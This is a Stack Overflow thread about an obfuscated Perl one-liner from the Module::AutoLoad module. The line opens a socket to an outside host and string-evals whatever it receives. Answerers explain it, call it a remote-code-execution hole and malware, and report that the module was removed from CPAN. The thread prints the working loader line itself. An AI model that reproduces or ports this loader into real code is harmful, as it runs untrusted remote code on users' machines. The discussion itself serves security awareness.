3

I have this piece of code

use lib do{eval<$b>&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"};

which seems to import a library, but I have no idea how botstrap works.

Could somebody explain it to me because I want to port this to Python.

7
  • 1
    That looks an awful lot like the synopsis in the documentation for Module::Autoload. But explaining it would ruin the fun: "Although the snippet is fairly short, it is intentionally obfuscated using the RCX Framework as a quick way to detour those prying eyes from following how all the magic works, but the experienced Perl coder can still understand everything. This puzzle is left as a recreational challenge to the reader." Feb 4, 2016 at 22:42
  • 2
    Please don't put your code off line unless it's so extensive that it won't fit in a post on Stack Overflow
    – Borodin
    Feb 4, 2016 at 22:50
  • 1
    The author of the code I'm talking about is Rob Brown, and the IP shown in the code is outdated. Feb 5, 2016 at 18:27
  • 2
    @AvidProgrammer That's not an IP, it's a v-string. perl -le'print 82.46.99.88' shows that it corresponds to R.cX Feb 5, 2016 at 18:53
  • 2
    @JoeMcMahon - Your deleted answer explicitly makes a lot of (IMO very important) points which Borodin doesn't state directly. I would encourage you to undelete it, as it may help to illuminate those who don't quite grasp the full details of just how boneheadedly idiotic this module is. Jul 30, 2020 at 8:20

2 Answers 2

16

botstrap is a private subroutine that is part of the Module::AutoLoad module. The entire statement is supposed to be incorporated into your code without question

The idea is that the module will install any modules that are required by the code without intervention by the operator. I suggest that this is a dreadful idea, and that you should just make sure that anything your Python code imports has already been installed in the usual way

8
  • 5
    @ThisSuitIsBlackNot: I was just writing a comment to say so. And that makes this module even less attractive than it initially appears. If you look at the contents of http://R.cX:1/ then even that is obfuscated. All of this goes against the ideas of open source, and calling this "module" in production code would be crazy for so very many reasons
    – Borodin
    Feb 4, 2016 at 23:55
  • 5
    Even worse, the code downloaded from http://r.cx:1/ uses eval to access http://ww.limera1n.com/ and execute iJailBreak, which is an iPhone unlocker program. This is nothing to do with installing missing Perl modules, and the functionality is nefarious. That may be because the web site http://r.cx has been hacked, but there is no doubt that this module doesn't belong on CPAN.
    – Borodin
    Feb 5, 2016 at 0:05
  • 4
    Wow. See kids, this is why you should avoid string eval with arbitrary code. Feb 5, 2016 at 0:10
  • 10
    FWIW: This code is malicious, but there are several options for automatically installing modules that don't involve string eval'ing arbitrary code over TCP, such as lib::xi and lazy.
    – Grinnz
    Jul 27, 2020 at 22:39
  • 9
    As of July 28, 2020, the module has been removed from CPAN and the author blocked from uploading further modules. Jul 28, 2020 at 23:46
11

I'm putting on my security hat and making some comments about the overall design of the module and specifically about the test suite.

Time and again, we warn people about curl | bash as an outstandingly boneheaded thing to do. One should never simply execute something that happens to be at the far end of a URL that one does not control, and that is generally accessible on the Internet, and hope everything will be okay.

But the reason that this module was pulled earlier was not that it does this -- though I would argue that even the basic idea of implementing a security vulnerability as a module is a terrible idea -- it was pulled because of all the following:

  • the test suite accesses a site the installer does not control without warning them this will happen
  • it obscures the site being used
  • the code being downloaded is not the minimum possible needed to ensure that the test passes
  • the code being downloaded is deliberately obfuscated to make it difficult for the installer to vet it for safety
  • worst, the code that it currently downloads appears to be malware. (side note: it does not matter if it isn't! The fact that it is not blindingly obvious is in itself bad).

The combination of all these is not only unsafe but outright dangerous. I see from the authors answers that the inclusion of a reference to an iOS jailbreak was meant to be "funny". Production modules are not supposed to be this kind of funny.

Putting this in a non-Acme namespace is inappropriate if humor is the intention[1]. Also, there is absolutely no need to obfuscate the downloaded code.

Even if the author changes what it's loading to a cleartext dummy "hey look, I got installed" module, they'd still be weakening the security of every installation that used this module to be only as good as their security is. If you wanted to write a module like this, you would have to be prepared to take on that level of responsibility for every site that uses it. Even if you think you are prepared to do that, you are probably not.

A footgun that is the responsibility of the user to police is one thing. A footgun that is delivered loaded, with ammunition that might suddenly be something extremely dangerous, and which is actually fired during the test suite is wildly inappropriate.

Update: I've spoken directly to the author, who seems to be willing to make this right, and will be taking my advice on this module: moving it to Acme, changing the test to use a local HTTP server instead of the external one, and additionally requiring that the environment variable I_KNOW_THIS_IS_A_REMOTE_CODE_EXECUTION_VULNERABILITY_AND_I_AM_WILLING_TO_RISK_MY_JOB_AND_COMPANY be set to a true value before the module will operate at all.

[1] CPAN uses the Acme namespace as a place to put amusing/pointless/etc. modules.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.